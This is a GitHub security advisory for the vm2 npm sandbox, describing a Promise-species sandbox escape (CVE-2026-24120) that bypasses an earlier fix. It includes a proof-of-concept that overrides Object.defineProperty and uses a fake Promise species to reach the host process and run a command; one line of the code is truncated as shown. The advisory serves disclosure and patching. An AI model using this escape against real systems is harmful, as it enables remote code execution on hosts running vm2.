Sandbox Breakout Through Promise Species

Critical **patriksimek** published **GHSA-qvjj-29qf-hp7p** 3 days ago

Package

vm2 (npm)

Affected versions

<= 3.10.3

Patched versions

3.10.5

Description

Summary

The fix for GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.
This function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.

PoC

The following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.

```
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
```

```
    const e = new Error();
    e.name = Symbol();
    return e.stack;
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainMo
            )
        }
    }
};
p.then();
`);
```

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Severity

Critical 9.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-24120

Weaknesses

No CWEs

Credits

XmiliaH Reporter